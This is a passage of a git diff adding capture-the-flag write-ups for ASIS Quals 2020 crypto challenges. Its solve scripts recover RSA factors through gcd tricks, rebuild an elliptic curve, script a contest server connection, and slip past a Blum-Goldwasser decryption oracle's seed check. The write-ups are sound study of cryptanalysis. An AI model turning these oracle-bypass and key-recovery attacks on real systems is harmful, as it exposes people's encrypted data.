63452674798226118946060593631451490164411150841, (108436642448932709219121968294434475477600203743366957190466733100162456074942118592019300422638950272524217814290069806411298263273760197756252555274382639125596214182186934977255300451278487595744525177460939465622410473654789382565188319818335934171653755811872501026071194087051, 10240139028494174526454562399217609608280817984150287983207668274231906642607868694849967043415262875107269045985517134901896201464915880088854955991401353416951487254838341232922059441309704096261457984093029892511268213868493162068362288179130193503313930139616441614927005917140608739837772400963531761014330142192223670723732255263011157267423056439150678533763741625000032136535639171133174846473584929951274026212224887370702861958817381113058491861009468609746592170191042660753210307932264867242863839876056977399186229782377108228334204340285592604094505980554432810891123635608989340677684302928462277247999)]]
+
+i, p = find_factors(data)
+n = data[i][0]
+c, s = data[i][1]
+q = n // p
+
+print(decrypt(c, n, p, q, s))
+
+ +

Flag

+ +

ASIS{1N_h0nOr_oF__Lenore__C4r0l_Blum}

+ +

Tripolar

+ +

Disclaimer I didn’t solve this challenge during the competition and it took me reading a writeup to understand how this challenge works. I’m writing it up to talk myself through the solution, and maybe someone else will read this and be surprised by the solution too.

+ +

After working through this, my take away is that my intuition for cube roots was way off! The key for solving this challenge is that given a polynomial of the form

+ +\[f(x, y, z) = x^3 + y^2 + z\] + +

One can recover the value of $x$ from taking the cube root of $f(x,y,z)$. Even after I read this, I couldn’t believe there wasn’t some loss of information of the LSB of $x$, but it seems like it holds, even for small positive integers

+ +
>>> from Crypto.Util.number import *
+>>> import gmpy2
+>>> gmpy2.get_context().precision = 4096
+>>> x, y, z = [getPrime(256) for _ in range(3)]
+>>> f = x**3 + y**2 + z
+>>> _x = gmpy2.iroot(f, 3)[0]
+>>> x == _x
+True
+>>> x, y, z = [getPrime(5) for _ in range(3)]
+>>> f = x**3 + y**2 + z
+>>> _x = gmpy2.iroot(f, 3)[0]
+>>> x == _x
+True
+
+ +

The same is true for quadratic terms, by looking at the square root of $f - x^3$, but here there seems to be a bit less certainty and we find with small enough inputs, the square root approximation can be off by 1.

+ +

Anyway… with my display of ignorance out the way, lets look at the challenge!

+ +

Challenge

+ +
#!/usr/bin/python
+
+from Crypto.Util.number import *
+from hashlib import sha1
+from flag import flag
+
+def crow(x, y, z):
+	return (x**3 + 3*(x + 2)*y**2 + y**3 + 3*(x + y + 1)*z**2 + z**3 + 6*x**2 + (3*x**2 + 12*x + 5)*y + (3*x**2 + 6*(x + 1)*y + 3*y**2 + 6*x + 2)*z + 11*x) // 6
+
+def keygen(nbit):
+	p, q, r = [getPrime(nbit) for _ in range(3)]
+	pk = crow(p, q, r)
+	return (p, q, r, pk)
+
+def encrypt(msg, key):
+	p, q, r, pk = key
+	_msg = bytes_to_long(msg)
+	assert _msg < p * q * r
+	_hash = bytes_to_long(sha1(msg).digest())
+	_enc = pow(_msg, 31337, p * q * r)
+	return crow(_enc * pk, pk * _hash, _hash * _enc) 
+
+key = keygen(256)
+enc = encrypt(flag, key)
+f = open('flag.enc', 'w')
+f.write(long_to_bytes(enc))
+f.close()
+
+ +

Reading through the code, we see that the flag is encrypted RSA style using three primes $p,q,r$. The message is also hashed with sha1 and the three primes used for encryption are fed into some fairly ugly polynomial named crow to produce another value pk.

+ +

The results of these computations are then all taken together, multiplied to and fed into the crow function again. The only output of the challenge is enc, which is the value of the second evaluation of the crow polynomial.

+ +

We then understand this challenge as learning how to find the integer solutions of crow so we can work backwards to finding the flag. Solving the first step will give us _enc, _hash and pk and solving pk = crow(p,q,r) we can grab the primes and reverse the encryption of _enc. But how to we solve crow?

+ +

During the competition I got toally sidetracked by the paper A Strategy for Finding Roots of Multivariate Polynomials with New Applications in Attacking RSA Variants by Jochemsz and May, and decided the solution to this puzzle must be to implement the small integer roots algorithm that they give in 2.2 of the paper. This was hard to specialise to this polynomial and i failed. Potentially this method works, but I couldnt get it to. The closest I got was to notice that the bitsize of _enc*pk was larger than the other two elements of crow and so by taking the cube root, I could recover the MSB of _enc*pk. Typing this up now I see i was kind of close, but thinking totally wrong.

+ +

The real solution is much simplier and elegant and relies on the fact that we can find certain terms in the polynomial due to the various powers of certain terms (I’ve already explained this a little in the disclaimer). What we find is with a few steps of algebra and a resetting of my intuition of cube roots, this challenge has a nice solution.

+ +

Solution

+ +

The first step to solving this challenge is simplifying the polynomial. I went down a rabbit hole of Legendre polynomials, taking the “dipole” hint way too seriously. Im not sure what the “Tripolar” hint was pointing towards… maybe some can enlighten me.

+ +

The crow polynomial is given to us in the form

+ +\[\begin{align} +C(x,y,x) &= \frac16 \big( x^3 + 3(x + 2)y^2 + y^3 + 3(x + y + 1)z^2 + z^3 + 6x^2\\ + &+ (3x^2 + 12x + 5)y + (3x^2 + 6(x + 1)y + 3y^2 + 6x + 2)z + 11x \big) +\end{align}\] + +

This is a big mess, but we can notice that the coefficient for all cubic terms is $1$ (ignoring the overall factor of a sixth) and we can start to piece together simple parts of this expression until we obtain

+ +\[C(x,y,z) = \frac16 \left((x + y + z + 1 )^3 + 3(x + y + 1)^2 + 2(x + y + 1) - 6y - z - 6 \right)\] + +

This is looking better, and by renaming a few pieces we get the polynomial into the form

+ +\[C(x,y,z) = \frac16 \left( f^3 + 3h^2 +2h -6y - z - 6 \right) \\\] + +

Where we have defined

+ +\[f(x,y,z) = x + y + z + 1 \qquad h(x,y) = x + y + 1\] + +

We now see how the disclaimer discussed above is going to help us. By taking the cube root of enc, we will recover the value for $f(x,y,z)$! Following this, we know that

+ +\[6 C - f^3 = 3h^2 + 2h - 6y - z - 6,\] + +

and by the same approximation, the square root of the left hand side will be a good approximation for $h$. Note for the second time we solve crow with the smaller inputs of the three primes, we will find this approximation is off by one, which can be spotted by either making mistakes, or trying out this step with some known values of $p,q,r$.

+ +

With knowledge of both $f(x,y,z)$ and $h(x,y)$, we can recover the input values from the three expressions

+ +\[\begin{align} +z &= f - h \\ +y &= -\frac16 \left( 6C - f^3 - 3h^2 - 2h + z + 6\right) \\ +x &= h - y - 1 +\end{align}\] + +

With the triple $(x,y,z)$ from crow we can find the input parameters from the gcd of the inputs:

+ +
import math
+
+_enc = math.gcd(x,z)
+pk = math.gcd(x,y)
+_hash = math.gcd(y,z)
+
+ +

Solving crow from pk will give three primes $p,q,r$ and from that we can decrypt _enc from

+ +
from Crypto.Util.number import *
+
+N = p*q*r
+phi = (p-1)*(q-1)*(r-1)
+d = inverse(31337, phi)
+m = pow(_enc, d, N)
+print(long_to_bytes(m))
+
+ +

Implementation

+ +
import gmpy2
+import math
+from Crypto.Util.number import *
+from hashlib import sha1
+gmpy2.get_context().precision = 4096
+
+def crow(x, y, z):
+	return (x**3 + 3*(x + 2)*y**2 + y**3 + 3*(x + y + 1)*z**2 + z**3 + 6*x**2 + (3*x**2 + 12*x + 5)*y + (3*x**2 + 6*(x + 1)*y + 3*y**2 + 6*x + 2)*z + 11*x) // 6
+
+
+def keygen(nbit):
+	p, q, r = [getPrime(nbit) for _ in range(3)]
+	pk = crow(p, q, r)
+	return (p, q, r, pk)
+
+
+def encrypt(msg, key):
+	p, q, r, pk = key
+	_msg = bytes_to_long(msg)
+	assert _msg < p * q * r
+	_hash = bytes_to_long(sha1(msg).digest())
+	_enc = pow(_msg, 31337, p * q * r)
+	return crow(_enc * pk, pk * _hash, _hash * _enc) 
+
+
+def alt_crow(x, y, z):
+	return ((x + y + z + 1 )**3 + 3*(x + y + 1)**2 + 2*(x + y + 1) - 6*y - z - 6) // 6
+
+
+def solve_crow(c, delta):
+	"""
+	Solve equation of the form:
+	crow = [(x + y + z + 1 )**3 + 3*(x + y + 1)**2 + 2*(x + y + 1) - 6*y - z - 6] // 6
+	     = [f^3 + 3h^3 + 2h - g] // 6
+	f = x + y + z + 1
+	h = x + y + 1
+	g = 6y + z + 6
+	"""
+	f = gmpy2.iroot(6*c, 3)[0]
+	h2 = (6*c - f**3) // 3
+	"""
+	For small values of inputs, the square root is off by one
+	"""
+	h = gmpy2.iroot(h2, 2)[0] + delta
+	z = f - h
+	y = -(6*c - f**3 - 3*h**2 - 2*h + z + 6) // 6
+	x = h - y - 1
+	assert crow(x, y, z) == c
+	return x,y,z
+
+
+def decrypt(ct):
+	# Solve for arguments
+	x, y, z = solve_crow(ct, 0)
+	assert crow(x, y, z) == ct
+
+	# Recover pieces
+	_enc = math.gcd(x, z)
+	pk = x // _enc
+	_hash = z // _enc
+	assert crow(_enc * pk, pk * _hash, _hash * _enc) == ct
+
+	# Solve for primes
+	p, q, r = solve_crow(pk, 1)
+	assert crow(p, q, r) == pk
+
+	# Solve encryption
+	N = p*q*r
+	phi = (p-1)*(q-1)*(r-1)
+	d = inverse(31337, phi)
+	m = pow(_enc, d, N)
+	return long_to_bytes(m)
+
+# Sanity test
+p, q, r, pk = keygen(256)
+# Check alt form is correct
+assert alt_crow(p,q,r) == pk
+# Check solver finds values
+x, y, z = solve_crow(pk, 1)
+assert x == p and y == q and z == r
+
+ct = open('flag.enc', "rb").read()
+ct = bytes_to_long(ct)
+flag = decrypt(ct)
+print(flag)
+
+ +

Flag

+ +

ASIS{I7s__Fueter-PoLy4__c0nJ3c7UrE_iN_p4Ir1n9_FuNCT10n}

+ + + + + + +
+
+
+ + + + + + +
+ + diff --git a/ASIS-Quals-2020/readme.md b/ASIS-Quals-2020/readme.md new file mode 100755 index 0000000..b1bdc13 --- /dev/null +++ b/ASIS-Quals-2020/readme.md @@ -0,0 +1,927 @@ +# ASIS Quals 2020 + +A handful of write ups from some of the crypto challenges from ASIS 2020 Quals. Thanks to Aurel, Hrpr and Hyperreality for the tips while solving these. Cr0wn came 16th overall, and I learnt that I really need to get to grips with multivariate polynomials because Tripolar was solved by a bunch of teams and I just couldn't crack it... + + +## Contents + +| Challenge | Points | +| --------------------------------- | -----: | +| [Baby RSA](#baby-rsa) | 60 | +| [Elliptic Curve](#elliptic-curve) | 125 | +| [Jazzy](#jazzy) | 122 | +| [Crazy](#crazy) | 154 | +| [Tripolar](#tripolar) | 154 | + + + +## Baby RSA + +> All babies love [RSA](https://asisctf.com/tasks/baby_rsa_704000e3703726346fa621a91a9f8097a9307929.txz). How about you? 😂 + + +#### Challenge + +```python +#!/usr/bin/python + +from Crypto.Util.number import * +import random +from flag import flag + +nbit = 512 +while True: + p = getPrime(nbit) + q = getPrime(nbit) + e, n = 65537, p*q + phi = (p-1)*(q-1) + d = inverse(e, phi) + r = random.randint(12, 19) + if (d-1) % (1 << r) == 0: + break + +s, t = random.randint(1, min(p, q)), random.randint(1, min(p, q)) +t_p = pow(s*p + 1, (d-1)/(1 << r), n) +t_q = pow(t*q + 4, (d-1)/(1 << r), n) + +print 'n =', n +print 't_p =', t_p +print 't_q =', t_q +print 'enc =', pow(bytes_to_long(flag), e, n) +``` + + + +#### Solution + +To solve this challenge, we use that for the RSA cryptosystem the public and private keys obey + +$$ +e\cdot d - 1 \equiv 0 \mod \phi(n), \qquad \Rightarrow \qquad e\cdot d - 1 = k \cdot \phi(n), \quad k \in \mathbf{Z} +$$ + +and Euler's theorem, which states that + +$$ +\gcd(a,n) = 1 \qquad \Leftrightarrow \qquad a^{\phi(n)} \equiv 1\mod n +$$ + +We have the data $t_p, t_q, e, n$ which is suffient to solve for $p$. Using that + +$$ +t_p = (sp + 1)^{\frac{d-1}{2^r}} +$$ + +We can take `eth` power to find + +$$ +\begin{align} +t_p^e &= (sp + 1)^{\frac{ed-e}{2^r}} \mod n \\ +&= (sp + 1)^{\frac{k\phi(n) + 1 -e}{2^r}} \mod n \\ +&= (sp + 1)^{\frac{k\phi(n)}{2^r}} (sp + 1)^{\frac{1-e}{2^r}} \mod n +\end{align} +$$ + +From Euler's theorem we have + +$$ +(sp + 1)^{\frac{k\phi(n)}{2^r}} \equiv 1^{\frac{k}{2^r}} \equiv 1 \mod n +$$ + +The value of `r` is of small size `r = random.randint(12, 19)` and we also $e - 1 = 2^{16}$. We can understand $m = \frac{1-e}{2^r}$ as a power of two. The actual value of $m$ isn't needed, as we can simply expand out $t_p^e$ and write down + +$$ +\begin{align} +t_p^e - 1 = s p \cdot (s^{m-1} p^{m-1} + \ldots + m) \mod n \\ +\end{align} +$$ + +We see that $N$ and $t_p^e$ share a common factor of $p$, and we can solve the challenge from + +$$ +\gcd(t_p^e - 1, n) = p +$$ + +**Note**: we can only treat $p$ as a true factor in the above line as $n = p\cdot q$, so by nature of the CRT, this expression simplifies. + +#### Implementation + +```python +import math +from Crypto.Util.number import * + +n = 10594734342063566757448883321293669290587889620265586736339477212834603215495912433611144868846006156969270740855007264519632640641698642134252272607634933572167074297087706060885814882562940246513589425206930711731882822983635474686630558630207534121750609979878270286275038737837128131581881266426871686835017263726047271960106044197708707310947840827099436585066447299264829120559315794262731576114771746189786467883424574016648249716997628251427198814515283524719060137118861718653529700994985114658591731819116128152893001811343820147174516271545881541496467750752863683867477159692651266291345654483269128390649 +e = 65537 +t_p = 4519048305944870673996667250268978888991017018344606790335970757895844518537213438462551754870798014432500599516098452334333141083371363892434537397146761661356351987492551545141544282333284496356154689853566589087098714992334239545021777497521910627396112225599188792518283722610007089616240235553136331948312118820778466109157166814076918897321333302212037091468294236737664634236652872694643742513694231865411343972158511561161110552791654692064067926570244885476257516034078495033460959374008589773105321047878659565315394819180209475120634087455397672140885519817817257776910144945634993354823069305663576529148 +t_q = 4223555135826151977468024279774194480800715262404098289320039500346723919877497179817129350823600662852132753483649104908356177392498638581546631861434234853762982271617144142856310134474982641587194459504721444158968027785611189945247212188754878851655525470022211101581388965272172510931958506487803857506055606348311364630088719304677522811373637015860200879231944374131649311811899458517619132770984593620802230131001429508873143491237281184088018483168411150471501405713386021109286000921074215502701541654045498583231623256365217713761284163181132635382837375055449383413664576886036963978338681516186909796419 +enc = 5548605244436176056181226780712792626658031554693210613227037883659685322461405771085980865371756818537836556724405699867834352918413810459894692455739712787293493925926704951363016528075548052788176859617001319579989667391737106534619373230550539705242471496840327096240228287029720859133747702679648464160040864448646353875953946451194177148020357408296263967558099653116183721335233575474288724063742809047676165474538954797346185329962114447585306058828989433687341976816521575673147671067412234404782485540629504019524293885245673723057009189296634321892220944915880530683285446919795527111871615036653620565630 + +p = math.gcd(n, pow(t_p, e, n) - 1) +q = n // p +phi = (p-1)*(q-1) +d = inverse(e, phi) +flag = pow(enc,d,n) +print(long_to_bytes(flag)) +# b'ASIS{baby___RSA___f0r_W4rM_uP}' +``` + +#### Flag + +`b'ASIS{baby___RSA___f0r_W4rM_uP}'` + + + +## Elliptic Curve + +### Challenge + +> Are all elliptic curves smooth and projective? +> +> ``` +> nc 76.74.178.201 9531 +> ``` + +### Solution + +The hard part of this challenge was dealing with boring bugs when sending data to the server while resolving the proof of work. One you connected to the server and passed the proof of work, we were given the prompt + +``` +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++ hi! There are three integer points such that (x, y), (x+1, y), and + ++ (x+2, y) lies on the elliptic curve E. You are given one of them!! + +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +| One of such points is: P = (68363894779467582714652102427890913001389987838216664654831170787294073636806, 48221249755015813573951848125928690100802610633961853882377560135375755871325) +| Send the 37362287180362244417594168824436870719110262096489675495103813883375162938303 * P : +``` + +So the question is, given a single point $P$, together with the knowledge of the placement of three points, can we uniquely determine the curve? + +If we assume the curve is over some finite field with prime characteristic, and that as standard this challenge uses a curve of Weierstrass form, we know we are looking for curves of the form + +$$ +y^2 = x^3 + Ax + B \mod p +$$ + +and from the knowledge of the three points we have + +$$ +x^3 + Ax + B = (x+ 1)^3 + A(x+1) + B = (x + 2)^3 + A(x + 2) + B \mod p +$$ + +We can then write down + +$$ +x^3 + Ax = (x+ 1)^3 + A(x+1), \quad \Rightarrow \quad A = -1 -3x - 3x^2 +$$ + +and + +$$ +x^3 + Ax = (x+ 2)^3 + A(x+2), \quad \Rightarrow \quad A = -4 -6x - 3x^2 +$$ + +as all three points are on the same curve, we have that + +$$ +3x^2 + 3x + 1 = 3x^2 +6x +4, \quad \Rightarrow \quad x = -1 +$$ + +and from the above we have $x = -1 \Rightarrow A = -1$. The only thing left to do is to find $B$, which we can see is recovered from the general form of the curve. + +$$ +y^2 = (-1)^3 + (-1)^2 + B, \quad \Rightarrow \quad B = y^2 +$$ + +Now we have recovered the inital point, we see that the triple of points we will be given is $(-1, y)$, $(0, y)$ and $(1,y)$. The last two of these points would be trivial to spot and we can see this isn't what the server is sending us. We can then know for certain that the given point + +``` +(68363894779467582714652102427890913001389987838216664654831170787294073636806, 48221249755015813573951848125928690100802610633961853882377560135375755871325) +``` + +is the point $(x_0, y_0) = (-1, y)$ . We can now recover the characteristic from + +$$ +-1 \equiv x_0 \mod p, \quad \Rightarrow \quad p = x_0 + 1 +$$ + +and we can quickly check that + +```python +sage: x0 = 68363894779467582714652102427890913001389987838216664654831170787294073636806 +sage: p = x0 + 1 +sage: print(p.is_prime()) +True +``` + +With everything now understood, we can take the point given by the server, together with the given scale factor, computer the scalar multiplication and send the new point back to the server + +### Implmentation + +```python +import os +os.environ["PWNLIB_NOTERM"] = "True" + +import hashlib +import string +import random +from pwn import * + +IP = "76.74.178.201" +PORT = 9531 +r = remote(IP, PORT, level="debug") +POW = r.recvline().decode().split() +x_len = int(POW[-1]) +suffix = POW[-5] +hash_type = POW[-7].split('(')[0] + +""" +The server asks for a random length string, hashed with a random hash +function such that the last 3 bytes of the hash match a given prefix. +""" +while True: + X = ''.join(random.choices(string.ascii_letters + string.digits, k=x_len)) + h = getattr(hashlib, hash_type)(X.encode()).hexdigest() + if h.endswith(suffix): + print(h) + break + +r.sendline(X) + +header = r.recvuntil(b'One of such points') + +points = r.recvline().split(b'P = (')[-1] +points = points.split(b', ') +px = Integer(points[0]) +py = Integer(points[-1][:-2]) + +scale_data = r.recvline().split(b' ') +scale = Integer(scale_data[3]) + +p = px + 1 +assert p.is_prime() +a = -1 +b = (py^2 - px^3 - a*px) % p +E = EllipticCurve(GF(p), [a,b]) +P = E(px,py) + +Q = P*scale + +""" +For some reason sending str(Q.xy()) to the server caused an error, so I +just switched to interactive and sent it myself. I'm sure it's a dumb +formatting bug, but with the annoying POW to deal with, I can't be bothered +to figure it out... +""" +# r.sendline(str(Q.xy())) +print(Q.xy()) +r.interactive() +``` + +#### Flag + +`ASIS{4n_Ellip71c_curve_iZ_A_pl4Ne_al9ebr4iC_cUrv3}` + + +## Jazzy + +### Challenge + +>Jazzy in the real world, but it's flashy and showy! + +``` +nc 76.74.178.201 31337 +``` + +### Solution + +Connecting to the server, we are given the following options: + +``` +------------------------------------------------------------------------ +| ..:: Jazzy semantically secure cryptosystem ::.. | +| Try to break this cryptosystem and find the flag! | +------------------------------------------------------------------------ +| Options: | +| [E]ncryption function | +| [F]lag (encrypted)! | +| [P]ublic key | +| [D]ecryption oracle | +| [Q]uit | +|----------------------------------------------------------------------| +``` + +Calling `E` we are given the source of the encryption + +```python +def encrypt(msg, pubkey): + h = len(bin(len(bin(pubkey)[2:]))[2:]) - 1 # dirty log :/ + m = bytes_to_long(msg) + if len(bin(m)[2:]) % h != 0: + m = '0' * (h - len(bin(m)[2:]) % h) + bin(m)[2:] + else: + m = bin(m)[2:] + t = len(m) // h + M = [m[h*i:h*i+h] for i in range(t)] + r = random.randint(1, pubkey) + s_0 = pow(r, 2, pubkey) + C = [] + for i in range(t): + s_i = pow(s_0, 2, pubkey) + k = bin(s_i)[2:][-h:] + c = bin(int(M[i], 2) ^ int(k, 2))[2:].zfill(h) + C.append(c) + s_0 = s_i + enc = int(''.join(C), 2) + return (enc, pow(s_i, 2, pubkey)) +``` + +I'll talk about this more later, but let's play with the server and see what it allows us to do first. + + + +Sending the option `P` we get the `pubkey` + +``` +pubkey = 19386947523323881137657722758784550061106532690506305900249779841167576220076212135680639455022694670503210628255656646008011027142702455763327842867219209906085977668455830309111190774053501662218829125259002174637966634423791789251231110340244630214258655422173621444242489738175447333216354148711752466314530719614094724358835343148321688492410941279847726548532755612726470529315488889562870038948285553892644571111719902764495405902112917765163456381355663349414237105472911750206451801228088587783073435345892701332742065121188472147494459698861131293625595711112000070721340916959903684930522615446106875805793 +``` + +Which for reasons below, I will now refer to as the modulus $n$. Sending the option `F`, we get the encryption of the flag, again with `pubkey` as a label, but from the encryption function, we know that this value is (or at least should be $s_{t+1} = s_t^2 \mod n$). Not sure why ASIS chose this confusing notation... + +``` +encrypt(flag, pubkey) = (513034390171324294434451277551689016606030017438707103869413492040051559571787250655384810990478248003042112532698503643742022419886333447600832984361864307529994477653561831340899157529404892382650382111633622198787716725365621822247147320745039924328861122790104611285962416151778910L, 1488429745298868766638479271207330114843847244232531062732057594917937561200978102167607190725732075771987314708915658110913826837267872416736589249787656499672811179741037216221767195188188763324278766203100220955272045310661887176873118511588238035347274102755393142846007358843931007832981307675991623888190387664964320071868166680149108371223039154927112978353227095505341351970335798938829053506618617396788719737045747877570660359923455754974907719535747353389095579477082285353626562184714935217407624849113205466008323762523449378494051510623802481835958533728111537252943447196357323856242125790983614239733L) +``` + +Lastly sending the option `D` we are given the prompt + +``` +| send an pair of integers, like (c, x), that you want to decrypt: +``` + +Being a wise guy, I tried sending the flag back to the server, but I was given the message + +``` +| this decryption is NOT allowed :P +``` + +Solving this challenge was easy after a bit of googling to try and see what this crypto system was. I noticed that the key stream was generated using a random number generator called [Blum Blum Shub](https://en.wikipedia.org/wiki/Blum_Blum_Shub). Looking for when this was used as a keystream, I stumbled upon the [Blum-Goldwasser Cryptosystem](https://en.wikipedia.org/wiki/Blum–Goldwasser_cryptosystem) and spending a little bit of time reading the Wikipedia page, I could tell that this was the right choice. + +#### Adaptive chosen plaintext attack + +Reading more closely, I spotted that the BG implementation is insecure against adaptive plaintext attacks when the attacker has access to a decryption oracle. This sounds great!! + +The idea is that to decrypt some ciphertext $(\vec{c}, s)$, one can pick a generic ciphertext using the same seed $(\vec{a}, s)$ and then use the decryption oracle to find $m^\prime$. As the seed is the same, both $m^\prime$ and the flag $m$ have been encrypted with the same keystream and we can obtain the flag from $m = \vec{a} \oplus \vec{c} \oplus m^\prime$. + +This sounds easy! Lets go back to the server and generate $m^\prime$: + +``` +| send an pair of integers, like (c, x), that you want to decrypt: +(513034390171324294434451277551689016606030017438707103869413492040051559571787250655384810990478248003042112532698503643742022419886333447600832984361864307529994477653561831340899157529404892382650382111633622198787716725365621822247147320745039924328861122790104611285962416151778910, 1488429745298868766638479271207330114843847244232531062732057594917937561200978102167607190725732075771987314708915658110913826837267872416736589249787656499672811179741037216221767195188188763324278766203100220955272045310661887176873118511588238035347274102755393142846007358843931007832981307675991623888190387664964320071868166680149108371223039154927112978353227095505341351970335798938829053506618617396788719737045747877570660359923455754974907719535747353389095579477082285353626562184714935217407624849113205466008323762523449378494051510623802481835958533728111537252943447196357323856242125790983614239733) +| this decryption is NOT allowed :P +``` + +Uh oh... it seems that the server checks the seed value and doesn't let us use this attack... + +#### Just one more block + +Okay, so if we can't use the same $s$ as the flag encryption, and we can't factor $n$ (waaaaaaay too big) what options do we have? + +I dunno if this attack has a proper name, but I realised we could fool the server into decrypting the flag by adding a block to the end of the ciphertext. For every block that is encoded, the encryption protocol takes $s_i$ and calculates $s_{i+1} = s_i^2 \mod n$. As a result, if the ciphertext being decoded was exactly one block longer, then the seed value we would supply to the oracle wouldn't be $s$, but rather $s^2 \mod n$. + +As we know `ct, s, n` we control enough data to solve the challenge, assuming that the server doesn't tell us off for sending $s^2 \mod n$... + +So, this *should* bypass the seed check in the oracle and allow us to decrypt the flag. All we need to do is take the pair `(ct, s)` from the server, together with the modulus `n` , add `h` bits to the end of `ct` and square `s`. Sending this to the oracle will decrypt our ciphertext block by block, we can finally remove the last `h` bits (which will have decoded to garbage) and grab the flag. + +To do this I wrote something quick and dirty + +```python +n = 19386947523323881137657722758784550061106532690506305900249779841167576220076212135680639455022694670503210628255656646008011027142702455763327842867219209906085977668455830309111190774053501662218829125259002174637966634423791789251231110340244630214258655422173621444242489738175447333216354148711752466314530719614094724358835343148321688492410941279847726548532755612726470529315488889562870038948285553892644571111719902764495405902112917765163456381355663349414237105472911750206451801228088587783073435345892701332742065121188472147494459698861131293625595711112000070721340916959903684930522615446106875805793 +h = len(bin(len(bin(n)[2:]))[2:]) - 1 + +flag_ct = 513034390171324294434451277551689016606030017438707103869413492040051559571787250655384810990478248003042112532698503643742022419886333447600832984361864307529994477653561831340899157529404892382650382111633622198787716725365621822247147320745039924328861122790104611285962416151778910 +seed = 1488429745298868766638479271207330114843847244232531062732057594917937561200978102167607190725732075771987314708915658110913826837267872416736589249787656499672811179741037216221767195188188763324278766203100220955272045310661887176873118511588238035347274102755393142846007358843931007832981307675991623888190387664964320071868166680149108371223039154927112978353227095505341351970335798938829053506618617396788719737045747877570660359923455754974907719535747353389095579477082285353626562184714935217407624849113205466008323762523449378494051510623802481835958533728111537252943447196357323856242125790983614239733 +seed_squared = pow(seed,2,n) +flag_extended = bin(flag_ct)[2:] + '1'*h +flag_extended = int(flag_extended, 2) + +print(f"({flag_extended}, {seed_squared})") +``` + +Using the data collected above. Sending our slightly longer flag to the server gives us a decrypted message: + +``` +(1050694431070872155001756216425859106009149475714472148724558831698025594003020289342228092908499451910230246466966535462383661915927210900686505951973098101821428690234494630586161474620221219599667982564625658263117243853548793491962157712885841765025507579474134243913651028278843209727, 3216641374118298063210229377328115445643813442578456023987769065661762517695051834586452075939576983800791011462122765510295327568646398522659752628912802933208909111321539625480585977865621874640928715606628766855738533853630742505790835948213775188951805695531626048779789826277990208281243968206104294503971898862963118207505455918079294280929081526755227996190831742555093366364879064928874861060462753403017976763786404530509469825731935018035684983539175758425557263211403465858234005521025395515018046387350089113701767863479780051534190944394815574406100307489105693633714510667995574063150674428700480235811) +| the decrypted message is: 47771147116374265884489633343424974277884840496243413677482329815315049691915267634281287751924271959635398604756191897221446400520109091655450373658402419482516535670630080915290670126420548875478840451816545566711178369563850274167871301020132981380671014536902778264305709989256317962 +``` + +Then we can simply grab the flag after chopping off 11 bits + +```python +>>> from Crypto.Util.number import long_to_bytes +>>> flag_ext = 47771147116374265884489633343424974277884840496243413677482329815315049691915267634281287751924271959635398604756191897221446400520109091655450373658402419482516535670630080915290670126420548875478840451816545566711178369563850274167871301020132981380671014536902778264305709989256317962 +>>> flag_bin = bin(flag_ext)[2:-11] +>>> flag_int = int(flag_bin, 2) +>>> flag = long_to_bytes(flag_int) +>>> print(flag) +b'((((......:::::: Great! the flag is: ASIS{BlUM_G0ldwaS53R_cryptOsySt3M_Iz_HI9hlY_vUlNEr4bl3_70_CCA!?} ::::::......))))' +``` + +No pwntools cracked out to do this one in a stylish way, but we still grab the flag! + +#### Flag + +`ASIS{BlUM_G0ldwaS53R_cryptOsySt3M_Iz_HI9hlY_vUlNEr4bl3_70_CCA!?}` + +## Crazy + +### Challenge + +>Look at you kids with your vintage music +> +>Comin' through satellites while cruisin' +> +>You're part of the past, but now you're the future +> +>Signals crossing can get confusing +> +>It's enough just to make you feel crazy, crazy, crazy +> +>Sometimes, it's enough just to make you feel crazy + +```python +#!/usr/bin/python + +from Crypto.Util.number import * +from flag import flag +from secret import * + +def encrypt(msg, pubkey, xorkey): + h = len(bin(len(bin(pubkey)[2:]))[2:]) - 1 # dirty log :/ + m = bytes_to_long(msg) + if len(bin(m)[2:]) % h != 0: + m = '0' * (h - len(bin(m)[2:]) % h) + bin(m)[2:] + else: + m = bin(m)[2:] + t = len(m) // h + M = [m[h*i:h*i+h] for i in range(t)] + r = random.randint(1, pubkey) + s_0 = pow(r, 2, pubkey) + C = [] + for i in range(t): + s_i = pow(s_0, 2, pubkey) + k = bin(s_i)[2:][-h:] + c = bin(int(M[i], 2) ^ int(k, 2) & xorkey)[2:].zfill(h) + C.append(c) + s_0 = s_i + enc = int(''.join(C), 2) + return (enc, pow(s_i, 2, pubkey)) + +for keypair in KEYS: + pubkey, privkey, xorkey = keypair + enc = encrypt(flag, pubkey, xorkey) + msg = decrypt(enc, privkey, xorkey) + if msg == flag: + print pubkey, enc +``` + +### Solution + +After solving Jazzy there's not much to this challenge. We know that it is an implementation of Blum-Goldwasser (albeit with an additional xorkey). Blum-Goldwasser's security relies on the hardness of factoring $n = p\cdot q$ and so our best chance to solve this puzzle is to find the factors of the pubkey. + +Looking at the challenge, we see we are given many many instances of the encryption. With all of these public keys, wouldn't it be a shame if some of them shared a factor? + +Putting the data into an array, I checked for common factors using `gcd` in the following way: + +```python +def find_factors(data): + data_length = len(data) + for i in range(data_length): + p = data[i][0] + for j in range(i+1,data_length): + x = data[j][0] + if math.gcd(p,x) != 1: + print(f'i = {i}') + print(f'j = {j}') + print(f'p = {math.gcd(p,x)}') + return i, math.gcd(p,x) +``` + +Very quickly we get output: + +```python +i = 0 +j = 7 +p = 114699564889863002119717546749303415014640174666510831598557661431094864991761656658454471662058404464073476167628817149960697375037558130201947795111687982132434309682025253703831106682712999472078751154844115223133651609962643428282001182462505433609132703623568072665114357116233526985586944694577610098899 +``` + +and so with this, the whole encryption scheme is broken (ignoring the xorkey step of course). + +With the factors of the pubkey, we can follow the dycryption algorithm on [Wikipedia](https://en.wikipedia.org/wiki/Blum–Goldwasser_cryptosystem#Decryption) to get + +```python +def xgcd(a, b): + """return (g, x, y) such that a*x + b*y = g = gcd(a, b)""" + x0, x1, y0, y1 = 0, 1, 1, 0 + while a != 0: + (q, a), b = divmod(b, a), a + y0, y1 = y1, y0 - q * y1 + x0, x1 = x1, x0 - q * x1 + return b, x0, y0 + + +def decrypt(c, pubkey, p, q, s): + h = len(bin(len(bin(pubkey)[2:]))[2:]) - 1 # dirty log :/ + if len(bin(c)[2:]) % h != 0: + c = '0' * (h - len(bin(c)[2:]) % h) + bin(c)[2:] + else: + c = bin(c)[2:] + t = len(c) // h + + # Recover s0 + dp = (((p + 1) // 4)**(t + 1)) % (p - 1) + dq = (((q + 1) // 4)**(t + 1)) % (q - 1) + up = 